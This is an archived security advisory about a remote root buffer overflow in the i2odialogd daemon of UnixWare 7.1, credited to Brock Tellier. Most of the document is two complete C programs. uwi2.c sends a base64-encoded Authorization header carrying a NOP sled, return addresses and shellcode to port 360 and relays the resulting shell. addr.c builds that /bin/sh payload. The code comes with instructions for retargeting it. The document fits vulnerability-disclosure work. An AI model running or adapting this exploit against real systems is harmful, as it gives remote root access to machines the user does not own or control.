COMMAND

    i2odialogd

SYSTEMS AFFECTED

    UnixWare 7.x

PROBLEM

    Brock Tellier found following.  Anyone can gain remote root access
    to a  UnixWare 7.1  system by  exploiting a  vulnerability in  the
    i2odialogd  daemon.   This  daemon  is  installed  and  running by
    default.   Brock  only  tested  UnixWare  7.1.  OpenServer doesn't
    feature this particular daemon, so it is not vulnerable.  He tried
    to  make  his  UW7  install  as  generic  as possible, so he would
    imagine that this service is enabled by default after install.

    The  i2odialog  daemon  is  an  HTTP  frontend  to control the i2o
    subsystem.   Since  a  user  who  has  control over this subsystem
    could  do  all  sorts  of  nasty  things, SCO has wisely chosen to
    authenticate a  potential user  against the  local encrypted  root
    password.  It does this via the standard

        GET / HTTP/1.0
        Authorization: Basic username:password\r\n\r\n

    Unfortunatly,  we   have  a   classic  buffer   overflow  in   the
    username:password field.  When fed a string of 88+ characters,  we
    can segfault the  daemon and control  EIP.  The  only complication
    to this  is the  fact that  according to  the relevant  RFC's, the
    username:password pair  must be  base64(MIME) encoded.   Therefore
    we  are  forced  to  MIME  encode  our  entire exploit string.  In
    addition to this, the buffer we  have to work with is very  small,
    so  we'll  be   changing  the  order   of  NOP+SHELLCODE+ADDR   to
    ADDR+NOP+SHELLCODE in  order to  give ourselves  a wider  range of
    usable addresses.

    Some notes about the exploit.  Brock couldn't manage to dig up any
    mimencode() functions that would be easily usable in this program,
    so you're going  to have to  hard-code your exploit  string.  This
    means  that  if  you  want  to  change the return address from the
    default  we  have  below  (and  remember,  Brock  only  tested HIS
    system),  you're  going  to  have  to  MIME  encode  92  bytes  of
    addresses (or 88 bytes of  garbage and your 4-byte address),  then
    some NOP's, then the shellcode, then a colon, any character and  a
    NULL.    ADDR+NOP+SHELLCODE+:+A+0.    You  must   then  put   this
    MIME-encoded  string  (don't  forget  that  you  must NOT append a
    newline  to  the  exploit  string)  into  the  program where Brock
    marked.   Under  UnixWare,  you  can  use  mimencode(1) to convert
    stdout from your program into MIME-encoded text.

    Below  is  a  program  which  will produce the particular modified
    exploit string you'll pipe through the mime encoder.

    /* uwi2.c
     *
     * i2o remote root exploit for UnixWare 7.1
     * compile on UnixWare with cc -o uwi2 uwi2.c -lsocket -lnsl
     * ./uwi2 <hostname>
     * The hard-coded RET address is 0x8047d4c
     *
     * To either replace the shellcode or change the offset you must
     * first craft a program which outputs, in this order:
     * - 92 bytes of your RET address (EIP starts at 89)
     * - NOPs, as many as you would like
     * - your shellcode
     * - the character ":"
     * - any character, maybe "A", as I've done below
     * - NULL
     * When printf()'ing this string, do NOT append a \newline!
     * You then pipe the output of this program to a MIME encoder (mimencode
     * on UnixWare).  You then take the output of this program and paste it
     * where I've marked below.
     *
     * Brock Tellier btellier@usa.net
     *
    */

    #include <stdio.h>
    #include <unistd.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <sys/errno.h>
    #include <netdb.h>

    #define BUFLEN 10000

    /* since we're overflowing an Authenticate: Basic username */
    /* our exploit code must be base64(MIME) encoded */

    char *mimecode=

    /**** CHANGE THIS PART OF THE EXPLOIT STRING ****/
    "kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ"
    "kJCQkJCQTH0ECEx9BAhMfQQITH0ECEx9BAhMfQQITH0ECEx9BAhMfQQITH0ECJCQkJCQkJCQ"
    "kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ"
    "kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ"
    "kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ"
    "kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ6xteMduJXgeJXgyIXhExwLA7jX4HiflT"
    "UVZW6xDo4P///y9iaW4vc2iqqqqqmqqqqqoHqpCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ"
    "kJCQkJCQkJCQkJCQkJCQkJCQkDpB";
    /************************************************/

    char *auth=
    "GET / HTTP/1.0\r\n"
    "Host: localhost:360\r\n"
    "Accept: text/html\r\n"
    "Accept-Encoding: gzip, compress\r\n"
    "Accept-Language: en\r\n"
    "Negotiate: trans\r\n"
    "User-Agent: xnec\r\n"
    "Authorization: Basic";

    char buf[BUFLEN];
    char sockbuf[BUFLEN];
    char c;
    int offset=0;
    int i, ascii,num;
    int i2oport = 360;
    int sock;
    int addr = 0x80474b4;
    struct  sockaddr_in sock_a;
    struct  hostent *host;

    void main (int argc, char *argv[]) {

     if(argc < 2) {
       fprintf(stderr, "Error:Usage: %s <hostname> \n", argv[0]);
       exit(0);
      }
     if(argc == 3) offset=atoi(argv[2]);

     sprintf(buf, "%s %s \r\n\r\n", auth, mimecode);
     buf[BUFLEN - 1] = 0;

     fprintf(stderr, "i2odialogd remote exploit for UnixWare 7.1\n");
     fprintf(stderr, "Brock Tellier btellier@usa.net\n");

     if((host=(struct hostent *)gethostbyname(argv[1])) == NULL) {
        perror("gethostbyname");
        exit(-1);
      }

     if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
        perror("create socket");
        exit(-1);
      }

     sock_a.sin_family=AF_INET;
     sock_a.sin_port=htons(i2oport);
     memcpy((char *)&sock_a.sin_addr,(char *)host->h_addr,host->h_length);
     if(connect(sock,(struct sockaddr *)&sock_a,sizeof(sock_a))!=0) {
        perror("create connect");
        exit(-1);
      }

      fflush(stdout);

      // write exploit
      write(sock,buf,strlen(buf));

      //begin read
      while(1) {
        fd_set input;
        FD_SET(0,&input);
        FD_SET(sock,&input);
        select(sock+1,&input,NULL,NULL,NULL);

        if(FD_ISSET(sock,&input)) {
          num=read(sock,sockbuf,BUFLEN);
          write(1,sockbuf,num);
         }
         if(FD_ISSET(0,&input))
         write(sock,sockbuf,read(0,sockbuf,BUFLEN));
      }
    }

    And then...

    /*
     * addr.c - Add-on for the UnixWare 7.1 remote root exploit in i2dialogd
     * simply MIME encode the output of this program and put into the
     * appropriate place in uwi2.c
     *
     * Usage: cc -o addr addr.c; ./addr <offset> <size>
     *
     * Brock Tellier btellier@usa.net
    */

    #include <stdio.h>
    #define NOP 0x90

    char scoshell[]=
    "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
    "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
    "\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

    void main(int argc, char *argv[]) {

    long addr;
    char buf[2000];
    int i;
    int offset;
    int size = 400;

    if (argc > 1) offset = atoi(argv[1]);
    if (argc > 2) size = atoi(argv[2]);

    addr=0x8046000 + offset;
    memset(buf, NOP, size);
    for(i=60;i<100;i+=4)*(int *)&buf[i]=addr;
    for(i = 0; i < strlen(scoshell); i++)
       buf[i+300] = scoshell[i];
    buf[size - 3] = ':';
    buf[size - 2] = 'A';
    buf[size - 1] = 0;
    fprintf(stderr, "using addr 0x%x with offset %d \n", addr, offset);
    fprintf(stderr, "mime-encode the stdoutput!\n");
    printf(buf);

    }

SOLUTION

    SCO fixed this issue.